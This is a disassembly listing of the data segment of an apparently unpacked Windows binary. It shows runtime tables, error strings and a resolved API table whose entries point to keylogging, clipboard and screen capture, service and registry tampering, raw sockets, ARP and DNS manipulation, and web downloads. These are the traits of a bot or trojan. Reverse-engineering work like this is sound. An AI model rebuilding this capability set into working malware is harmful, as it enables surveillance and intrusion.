dd 5Dh, 0 byte_4380C8 db 1 ; DATA XREF: seg000:0041C081r db 2, 4, 8 align 10h dword_4380D0 dd 3A4h dword_4380D4 dd 82798260h, 21h, 0dword_4380E0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4381C0 dd 1 ; sub_41C5B7+Co dword_4381C4 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_438328 dd 0C0000005h ; sub_41C75F+Ar ... dword_43832C dd 0Bh dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4383A0 dd 3 ; sub_41F277+C8r dword_4383A4 dd 7 ; sub_41F277+CDr dword_4383A8 dd 0Ah ; sub_41F3A4+4r dword_4383AC dd 8Ch ; seg000:0041C6ADw ... dword_4383B0 dd 0FFFFFFFFh, 0A00h ; sub_41B890:loc_41B911o dword_4383B8 dd 2 ; sub_41CEF9+28r off_4383BC dd offset aR6002FloatingP ; DATA XREF: sub_41CEF9+FCr ; sub_41CEF9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 421AC4h, 9, 421A98h, 0Ah, 421A74h, 10h, 421A48h dd 11h, 421A18h, 12h, 4219F4h, 13h, 4219C8h, 18h, 421990h dd 19h, 421968h, 1Ah, 421930h, 1Bh, 4218F8h, 1Ch, 4218D0h dd 78h, 4218C0h, 79h, 4218B0h, 7Ah, 4218A0h, 0FCh, 4269C4h dd 0FFh, 421890h off_438448 dd offset dword_469780 ; DATA XREF: sub_41CEF9+1Bo ; sub_41D0B6+55o align 10h dd offset dword_469780 dd 101h dword_438458 dd 0FFFFFFFFh, 0 dd 1000h, 0 dword_438468 dd 3 dup(0) ; sub_418796+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_438488 dd 3 dup(0) ; sub_418796:loc_4187B4o dd 2, 0FFFFFFFFh, 7 dup(0) dword_4384B8 dd 84h dup(0) dword_4386C8 dd 2694h ; sub_419631+46r ... align 10h dword_4386D0 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4386E8 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fhdword_438700 dd 7080h ; sub_41E142+5Ew ... dword_438704 dd 1 ; sub_41E142+8Bw ... dword_438708 dd 0FFFFF1F0h ; sub_41E142+94w ... dword_43870C dd 545350h, 0Fh dup(0)dword_43874C dd 544450h, 0Fh dup(0)off_43878C dd offset dword_43870C ; DATA XREF: sub_41E142+BAr ; sub_41E142+D9r ... off_438790 dd offset dword_43874C ; DATA XREF: sub_41E142+F4r ; sub_41E142+11Br ... align 8 dword_438798 dd 0FFFFFFFFh ; sub_41E3A0+1Er ... dword_43879C dd 0 ; sub_41E54C+BFw dword_4387A0 dd 0 ; sub_41E54C+E0w align 8 dword_4387A8 dd 0FFFFFFFFh ; sub_41E3A0+26r ... dword_4387AC dd 0 ; sub_41E54C+EAw ... dword_4387B0 dd 0 ; sub_41E54C+23r ... dword_4387B4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_4387E4 dd 16Dh ; sub_41E54C+2Er ... dword_4387E8 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_438820 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_438980 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_41F6FC+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_438AE0 dd offset off_421CB4 ; DATA XREF: seg001:off_421CD8o ; seg001:00421E04o ... align 8 a_?avexception@ db '.?AVexception@@',0 off_438AF8 dd offset off_421CB4 ; DATA XREF: seg001:off_421CF0o ; seg001:00421D84o ... align 10h a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_438B18 dd offset off_421CB4 ; DATA XREF: seg001:off_421D08o ; seg001:00421D4Co ... align 10h a_?avlength_err db '.?AVlength_error@std@@',0 align 4 off_438B38 dd offset off_421CB4 ; DATA XREF: seg001:off_421D90o ; seg001:00421DD4o ... align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_438B58 dd offset off_421CB4 ; DATA XREF: seg001:off_421E10o ; seg001:00421E4Co align 10h a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_41DEE2 dd 109h dup(0) dword_438F98 dd 0 byte_438F9C db 0 ; DATA XREF: sub_402FDD+36r ; sub_4030C0+37r ... align 10h dword_438FA0 dd 7A5h ; sub_4036EB+30r ... dd 2 dup(0) dword_438FAC dd 2 dup(0) dword_438FB4 dd 0 ; seg000:004129ACo ... dword_438FB8 dd 0 ; sub_4059F0+51r ... dword_438FBC dd 0 ; seg000:0040494Cr ... dd 2 dup(0) dword_438FC8 dd 0 ; sub_407636+92w ... dword_438FCC dd 0 ; sub_407983+D9w ... dd 256h dup(0) dword_439928 dd 7 dup(0) ; sub_40776F+138o ... dword_439944 dd 83h dup(0) dword_439B50 dd 0 dword_439B54 dd 0 dd 24h dup(0) dword_439BE8 dd 0 ; seg000:00407588o dword_439BEC dd 0A2h dup(0) dword_439E74 dd 41h dup(0) dword_439F78 dd 0 ; seg000:0040753Br align 10h dword_439F80 dd 0 ; seg000:0040759Ar dword_439F84 dd 0 dword_439F88 dd 0 dword_439F8C dd 0 dd 0 dword_439F94 dd 0 dd 0AAh dup(0) dword_43A240 dd 77F16E6Fh ; resolved to->GDI32.DeleteDC ; sub_4089D6+4CDr dword_43A244 dd 7C864230h ; resolved to->KERNEL32.Module32First ; sub_413DB8+F5r dword_43A248 dd 42C5AE03h ; resolved to->WININET.InternetGetConnectedStateExA ; sub_4089D6+862r ... dword_43A24C dd 5B894364h ; sub_4089D6+A18r ... dword_43A250 dd 5B86FEB8h ; sub_4089D6+9E8r ... dword_43A254 dd 77F15B80h ; resolved to->GDI32.SelectObject ; sub_4089D6+4BDr dword_43A258 dd 7E41C505h ; resolved to->USER32.GetKeyState ; seg000:00402304r ... dword_43A25C dd 5B894160h ; sub_4089D6+A10r ... dword_43A260 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_4089D6+3A9r ... dword_43A264 dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA ; sub_40AAB5+11Er dword_43A268 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceA ; sub_4089D6+3B1r ... dword_43A26C dd 77DFCF32h ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_4133A6+ADr dword_43A270 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSet ; sub_4084B7+7Dr ... dword_43A274 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4089D6+D2r ... dword_43A278 dd 5B86FDE8h ; sub_4089D6+9DBr ... dword_43A27C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4089D6+3C9r ... dword_43A280 dd 42C41384h ; resolved to->WININET.InternetCrackUrlA ; sub_4089D6+88Er ... dword_43A284 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_4089D6+2A5w ... dword_43A288 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlA ; sub_4089D6+886r ... dword_43A28C dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequencydword_43A290 dd 42C2ABF4h ; resolved to->WININET.InternetReadFile ; sub_4089D6+896r ... dword_43A294 dd 71AC0979h ; resolved to->WS2_32.WSAAsyncSelect ; sub_4089D6+52Fw ... dword_43A298 dd 7C863F58h ; resolved to->KERNEL32.Process32Next ; sub_4089D6+CAr ... dword_43A29C dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; seg000:0040A315r dword_43A2A0 dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_4089D6+A6Dr ... dword_43A2A4 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4089D6+F2r dword_43A2A8 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_4089D6+4B5r dword_43A2AC dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4089D6+5D8w ... dword_43A2B0 dd 5B8A3009h ; sub_4089D6+A08r dword_43A2B4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4089D6+5CBw ... dword_43A2B8 dd 71B25099h ; sub_4089D6+B21w dword_43A2BC dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_4089D6+84Fr dword_43A2C0 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_409DD7+15r dword_43A2C4 dd 5B868E65h ; sub_4089D6+9F0r ... dword_43A2C8 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_4089D6+3B9r ... dword_43A2CC dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_4089D6+3C1r ... dword_43A2D0 dd 73B81E3Bh ; sub_4089D6+C5Dr dword_43A2D4 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_43A2D8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; seg000:loc_401B70r ... dword_43A2DC dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_43A2E0 dd 5B894541h ; sub_4089D6+A20r ... dword_43A2E4 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4089D6+2DEr ... dword_43A2E8 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_4089D6+DAr ... dword_43A2EC dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_4089D6+B75r ... dword_43A2F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:004018F9r ... dword_43A2F4 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_4089D6+872r ... dword_43A2F8 dd 5B897BE9h ; sub_4089D6+9F8r dword_43A2FC dd 74344AE7h ; sub_404F08+70r ... dword_43A300 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindow ; seg000:0040225Er ... dword_43A304 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_4089D6+910r ... dword_43A308 dd 74327E4Dh dword_43A30C dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; seg000:00401483r ... dword_43A310 dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_4089D6+855r dword_43A314 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; seg000:00402273r ... dword_43A318 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_4089D6+1C2r dword_43A31C dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_4089D6+786r ... dword_43A320 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4036EB+5Er ... dword_43A324 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_4089D6+549w ... dword_43A328 dd 0CC0004h ; sub_4089D6:loc_4092B1w ... dword_43A32C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4089D6+2C6r ... dword_43A330 dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_4089D6+681w ... dword_43A334 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_4089D6+323r ... dword_43A338 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_4089D6+3D1r ... dword_43A33C dd 743452A3h ; sub_404F08+1AAr ... dword_43A340 dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_4089D6+86Ar ... dword_43A344 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_4089D6+206w ... dword_43A348 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_4089D6+1D2r ... dword_43A34C dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_4089D6+87Ar ... dword_43A350 dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_4089D6+756r dword_43A354 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4089D6+2BFw ... dword_43A358 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:004014F1r ... dword_43A35C dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_4089D6+316r ... dword_43A360 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_4076D2+82r ... dword_43A364 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_4089D6+490r dword_43A368 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_4089D6+1DAr ... dword_43A36C dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_4089D6+39Cr ... dword_43A370 dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43A374 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; seg000:004012ABr ... dword_43A378 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:0040114Fr ... dword_43A37C dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_4089D6+C2r ... dword_43A380 dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_4089D6+4ADr dword_43A384 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_4089D6+1BAr ... dword_43A388 dd 5B8A5199h ; sub_413C8F+72r dword_43A38C dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_4089D6+78Er dword_43A390 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4033CB+23Br ... dword_43A394 dd 74343318h ; sub_404F08+229r ... dword_43A398 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_4089D6+BAr ... dword_43A39C dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4089D6+2CEr ... dword_43A3A0 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_407BE2+9Cr ... dword_43A3A4 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_405B07+89r ... dword_43A3A8 dd 73B81B0Fh dword_43A3AC dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_40AE2F+205r ... dword_43A3B0 dd 0 dword_43A3B4 dd 743527D4h ; sub_4089D6+BB8w ... dword_43A3B8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401BD6+1DEr ... dword_43A3BC dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_4089D6+49Dr dword_43A3C0 dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_4089D6+4C5r dword_43A3C4 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_4089D6+4A5r dword_43A3C8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4033CB+249r ... dword_43A3CC dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_4089D6+1E2r ... dword_43A3D0 dd 5B86AA41h ; sub_4089D6+A28r ... dword_43A3D4 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_4089D6+1ADr dword_43A3D8 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_4089D6+E2r ... dword_43A3DC dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_401BD6+422r ... dword_43A3E0 dd 71B2547Ah ; sub_4089D6+B30r dword_43A3E4 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413D4D+55r dword_43A3E8 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_4089D6+27Ew ... dword_43A3EC dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_43A3F0 dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40A077+CEr dword_43A3F4 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_4089D6+AB7r ... dword_43A3F8 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401BD6+55r ... dword_43A3FC dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4089D6+674w ... dword_43A400 dd 7432FF6Bh ; sub_4089D6+BC5w ... dword_43A404 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_4071E3+1Fr ... dword_43A408 dd 5B867750h ; sub_4089D6+A00r ... dword_43A40C dd 71AC1028h ; resolved to->WS2_32.accept ; sub_407BE2+B3r ... dword_43A410 dd 71AB9639h ; resolved to->WS2_32.closesocket ; seg000:00401B69r ... dword_43A414 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_405B07+39Fr ... dword_43A418 dd 71B2578Ch ; sub_402FDD+C8r ... dword_43A41C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:00401919r ... dword_43A420 dd 71B2517Fh ; sub_4089D6+B1Br dword_43A424 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_4089D6+ADr ... dword_43A428 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_4089D6+1CAr align 10h dword_43A430 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_4089D6+91Dr ... dword_43A434 dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_4089D6+EAr ... dword_43A438 dd 0 ; sub_4089D6+12Bw ... dword_43A43C dd 0 ; sub_409663+1Cr dword_43A440 dd 0 ; sub_4089D6:loc_408C2Bw ... dword_43A444 dd 0 ; sub_409663+50r dword_43A448 dd 0 ; sub_4089D6:loc_408D05w ... dword_43A44C dd 0 ; sub_409663+84r dword_43A450 dd 0 ; sub_409663:loc_409713r dword_43A454 dd 0 ; sub_409663+B8r dword_43A458 dd 0 ; sub_409663:loc_409747r dword_43A45C dd 0 ; sub_409663+ECr dword_43A460 dd 0 ; sub_4089D6+8D1w ... dword_43A464 dd 0 ; sub_409663+120r dword_43A468 dd 0 ; sub_409663:loc_4097AFr ... dword_43A46C dd 0 ; sub_409663+154r dword_43A470 dd 0 ; sub_409663:loc_4097E3r ... dword_43A474 dd 0 ; sub_409663+188r dword_43A478 dd 0 ; sub_409663:loc_409817r dword_43A47C dd 0 ; sub_409663+1BCr dword_43A480 dd 0 ; sub_409663:loc_40984Br dword_43A484 dd 0 ; sub_409663+1F0r dword_43A488 dd 0 ; sub_409663:loc_40987Fr dword_43A48C dd 0 ; sub_409663+224r dword_43A490 dd 0 ; sub_409663:loc_4098B3r dword_43A494 dd 0 ; sub_409663+258r dword_43A498 dd 0 ; sub_409663:loc_4098E7r dword_43A49C dd 0 ; sub_409663+28Cr dword_43A4A0 dd 0 ; sub_409663:loc_40991Br dword_43A4A4 dd 0 ; sub_409663+2C0r dd 81h dup(0) dword_43A6AC dd 5 dup(0) dword_43A6C0 dd 0 ; sub_40A7E1+123w dword_43A6C4 dd 0 ; seg000:0040A6C3r ... dword_43A6C8 dd 0 ; sub_40A7E1+83o dword_43A6CC dd 0 ; sub_40A7E1+11Bw dword_43A6D0 dd 0Dh dup(0) ; sub_40A7E1:loc_40A91Eo dword_43A704 dd 0 dd 0 dword_43A70C dd 0Eh dup(0) dword_43A744 dd 1000h dup(0) ; sub_40B1F1o ... dword_43E744 dd 0 ; sub_40B1F1+Eo ... dword_43E748 dd 10h dup(0) dword_43E788 dd 0 ; sub_40B059+44r ... dd 5 dup(0) dword_43E7A0 dd 0 ; seg000:0040DA01r dd 2D9h dup(0) dword_43F308 dd 0 ; sub_40B059+2Do ... dd 7Fh dup(0) dword_43F508 dd 0 ; sub_4150B4+40w ... dword_43F50C dd 0 ; sub_40776F:loc_4077B6r ... dword_43F510 dd 0 ; sub_414F79+52w ... dword_43F514 dd 0 ; sub_405B07+7Ew ... dword_43F518 dd 0 ; seg000:00407FA4r ... dword_43F51C dd 0 ; seg000:004075A8w ... byte_43F520 db 0 ; DATA XREF: sub_40CB59+91o ; seg000:00410062r ... align 4 dd 188Bh dup(0) dword_445750 dd 8C2Ah dup(0) dword_4687F8 dd 2FE1h ; seg000:0040C6ADw ... dd 22h dup(0) dword_468884 dd 3Ah dup(0) dword_46896C dd 0 ; seg000:0040D0AFr byte_468970 db 0 ; DATA XREF: sub_40CCC1+28r ; sub_40CCC1+30o align 4 dword_468974 dd 0 dword_468978 dd 0 dword_46897C dd 0 dword_468980 dd 17h dup(0) ; sub_412EF6+131o ... dword_4689DC dd 7 dup(0) ; sub_413C8F+A5o dword_4689F8 dd 0 ; sub_4151E0+19o dword_4689FC dd 78h dup(0) dword_468BDC dd 0 ; sub_413270+4Dr ... dword_468BE0 dd 17h dup(0) ; sub_413B5B+12Do dword_468C3C dd 80h dup(0) ; sub_4131B1+7Do ... byte_468E3C db 0 ; DATA XREF: sub_413270+29r ; sub_413270+34w align 10h dword_468E40 dd 80h dup(0) ; sub_4134C7+88o ... dword_469040 dd 81h dup(0) ; sub_412DCD+50o ... dword_469244 dd 81h dup(0) byte_469448 db 0 ; DATA XREF: sub_414E72+6Ar ; sub_414E72+98w align 4 dd 2 dup(0) dword_469454 dd 0 dword_469458 dd 0 ; seg000:00416B58w align 10h word_469460 dw 0 ; DATA XREF: seg000:00416B09r ; seg000:00416B4Eo word_469462 dw 0 ; DATA XREF: seg000:loc_416AFCr db 2 dup(0) word_469466 dw 0 ; DATA XREF: seg000:00416AEFr word_469468 dw 0 ; DATA XREF: seg000:00416AE2r word_46946A dw 0 ; DATA XREF: seg000:00416AD5r align 10h dword_469470 dd 0 ; sub_416C78+91w dword_469474 dd 0 ; seg000:loc_416E9Aw ... dword_469478 dd 0 ; sub_4185AB:loc_418645w ... dword_46947C dd 0 dword_469480 dd 0A28h dword_469484 dd 501h dword_469488 dd 5 dword_46948C dd 1 dword_469490 dd 1 dword_469494 dd 0AE0ED0h dd 0 dword_46949C dd 0AE0D70h ; sub_41F3E9+9r ... dword_4694A0 dd 0 dword_4694A4 dd 0 ; sub_41F7B7+4r ... dd 0 off_4694AC dd offset aCM_unpackerPac ; DATA XREF: sub_41C8B3+2Fo ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4694B4 db 0 ; DATA XREF: seg000:00417856w ; sub_41D15B+5r align 4 dword_4694B8 dd 0 dword_4694BC dd 0 ; seg000:004178B4w dword_4694C0 dd 0 ; sub_41C7FA:loc_41C80Cr ... align 8 dword_4694C8 dd 0 dword_4694CC dd 0 dd 0 dword_4694D4 dd 0 ; sub_4174BF:loc_4175BBr ... dword_4694D8 dd 0 dword_4694DC dd 0 ; sub_41A0FA+1Ar ... byte_4694E0 db 0 ; DATA XREF: sub_419FF6+3r ; sub_419FF6+98r ... align 4 dword_4694E4 dd 0 ; sub_41A1D8+21w ... byte_4694E8 db 0 ; DATA XREF: sub_41A1D8+51w align 4 dword_4694EC dd 0 ; sub_41A7A9+3Ar ... dword_4694F0 dd 0 ; sub_41A7A9+43r ... dword_4694F4 dd 0 ; sub_41A575+5r dword_4694F8 dd 0 dword_4694FC dd 1 ; seg000:0041BD9Dw ... dd 2 dup(0) dword_469508 dd 0 ; sub_417173+9Dr ... dd 3 dup(0) dword_469518 dd 0 ; sub_4179D9+BFr ... align 10h dword_469520 dd 1 ; sub_41C139+4w ... dword_469524 dd 0 ; seg000:0041C664w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8B3:loc_41C8CAo ; seg002:off_4694ACo align 4 dd 3Ah dup(0) dword_46962C dd 1 ; sub_41CB00+23w ... dword_469630 dd 0 dword_469634 dd 0 ; sub_418860+154w ... dword_469638 dd 1 ; seg000:loc_41D241w dword_46963C dd 0 word_469640 dw 0 ; DATA XREF: sub_41DDBF+1Ao ; sub_41DDBF+46r byte_469642 db 0 ; DATA XREF: sub_41DDBF+39r align 4 dword_469644 dd 7 dup(0) dword_469660 dd 0 ; sub_41DDBF+5Co dword_469664 dd 0 dword_469668 dd 0 dword_46966C dd 0 dword_469670 dd 77C2807Ch ; sub_41DEE2+38r ... align 8 dword_469678 dd 0 ; sub_41E142+63w ... align 10h dword_469680 dd 0 ; sub_41E142+46r dword_469684 dd 10h dup(0) word_4696C4 dw 0 ; DATA XREF: sub_41E3A0+A8r word_4696C6 dw 0 ; DATA XREF: sub_41E142+54r ; sub_41E3A0+DBr ... word_4696C8 dw 0 ; DATA XREF: sub_41E3A0+CAr word_4696CA dw 0 ; DATA XREF: sub_41E3A0+D3r ; sub_41E3A0:loc_41E492r word_4696CC dw 0 ; DATA XREF: sub_41E3A0+C0r word_4696CE dw 0 ; DATA XREF: sub_41E3A0+B8r word_4696D0 dw 0 ; DATA XREF: sub_41E3A0+B0r word_4696D2 dw 0 ; DATA XREF: sub_41E3A0+9Er dword_4696D4 dd 0 dword_4696D8 dd 10h dup(0) word_469718 dw 0 ; DATA XREF: sub_41E3A0+46r word_46971A dw 0 ; DATA XREF: sub_41E142:loc_41E1B9r ; sub_41E3A0+78r ... word_46971C dw 0 ; DATA XREF: sub_41E3A0+67r word_46971E dw 0 ; DATA XREF: sub_41E3A0+70r ; sub_41E3A0:loc_41E424r word_469720 dw 0 ; DATA XREF: sub_41E3A0+5Dr word_469722 dw 0 ; DATA XREF: sub_41E3A0+55r word_469724 dw 0 ; DATA XREF: 